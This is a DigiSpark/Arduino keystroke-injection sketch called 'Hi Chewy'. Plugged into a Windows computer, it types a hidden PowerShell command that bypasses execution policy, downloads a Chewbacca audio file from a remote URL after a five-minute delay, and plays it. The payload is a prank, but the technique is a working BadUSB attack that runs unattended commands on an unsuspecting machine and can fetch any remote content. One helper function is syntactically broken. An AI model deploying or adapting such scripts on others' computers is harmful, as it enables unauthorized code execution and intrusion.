//Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, and then waits 5 minutes and plays it

			#include <Keyboard.h>

			void setup() {
			  delay(7000);
			  
			  Keyboard.press(KEY_LEFT_GUI);
			  Keyboard.press('r');
			  Keyboard.releaseAll();
			  delay(800);

			  Keyboard.println("powershell -NoP -Win H -Noni -Exec Bypass");
			  delay(1000);
			  Keyboard.println("start-sleep 300;");
			  Keyboard.println("irm -uri \"https://github.com/apsecdev/DigiSpark-Scripts/blob/master/Hi_Chewy/Chewbacca.wav\" -OutFile \"$env:temp\\play.wav\";");
			  Keyboard.println("Add-Type -AssemblyName presentationCore;");
			  Keyboard.println("$filepath = [uri] \"$env:temp\\play.wav\";");
			  Keyboard.println("$wmplayer = New-Object System.Windows.Media.MediaPlayer;");
			  Keyboard.println("$wmplayer.Open($filepath);");
			  Keyboard.println("Start-Sleep 2;");
			  Keyboard.println("$duration = $wmplayer.NaturalDuration.TimeSpan.TotalSeconds;");
			  Keyboard.println("$wmplayer.Play();");
			  Keyboard.println("Start-Sleep $duration;");
			  Keyboard.println("$wmplayer.Stop();");
			  Keyboard.println("$wmplayer.Close();");
			  delay(500);
			}
			void loop() {}

			void KeypressCombo(key1, key2)
			{
				Keyboard.press(key1);
				delay(100);
				if(key2 != NULL)
				{
				Keyboard.press(key2);
				delay(200);
			    }
				Keyboard.releaseAll();
			    delay(200);
			}

			void opencmd()
			{
			  Keyboard.press(KEY_LEFT_GUI);
			  Keyboard.press('r');
			  Keyboard.releaseAll();
			  delay(300);
			  Keyboard.println("cmd");
			  delay(1000);
			}